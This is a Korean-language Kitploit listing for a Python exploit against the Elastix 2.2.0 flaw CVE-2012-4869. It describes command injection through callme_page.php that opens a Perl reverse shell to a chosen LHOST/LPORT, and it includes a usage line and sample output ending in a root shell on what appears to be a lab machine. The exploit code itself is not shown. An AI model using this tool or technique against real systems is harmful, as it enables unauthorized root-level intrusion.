Elastix-2.2.0-CVE-2012-4869 — Elastix 2.2.0 LFI 취약점(CVE-2012-4869)을 위한 Python 익스플로잇 스크립트로, Perl 리버스 셸 페이로드 주입을 통한 원격 코드 실행을 가능하게 합니다. | Kitploit

설명

이 스크립트는 Elastix 2.2.0의 로컬 파일 포함(LFI) 취약점을 이용하여 callme_page.php 엔드포인트를 통해 명령어를 주입함으로써 원격 코드 실행(RCE)을 가능하게 합니다. 이 익스플로잇은 CVE-2012-4869를 기반으로 합니다.

특징

TLS 인증서 검증을 우회합니다.
Perl 리버스 셸 페이로드를 사용합니다.
리버스 셸을 위한 사용자 정의 LHOST 및 LPORT를 지원합니다.
HTTPS 보안 경고를 억제합니다.

요구 사항

Python 3
requests 모듈

다음을 사용하여 종속성을 설치하십시오:

pip install requests

사용법

python exploit.py <URL> --LHOST <YOUR_IP> --LPORT <YOUR_PORT>

예:

[*] Running Elastix 2.2.0 LFI Exploit - CVE-2012-4869
[*] Target: https://10.129.229.183
[*] Listening on 10.10.14.23:9001

[+] Exploit sent successfully, waiting for reverse shell...

[+] Connection from 10.129.229.183:41242
$ id
uid=0(root) gid=0(root) groups=0(root)

Elastix-2.2.0-CVE-2012-4869

인기

리버스 셸 리스너 설정

익스플로잇 실행 출력

참고 사항

면책 조항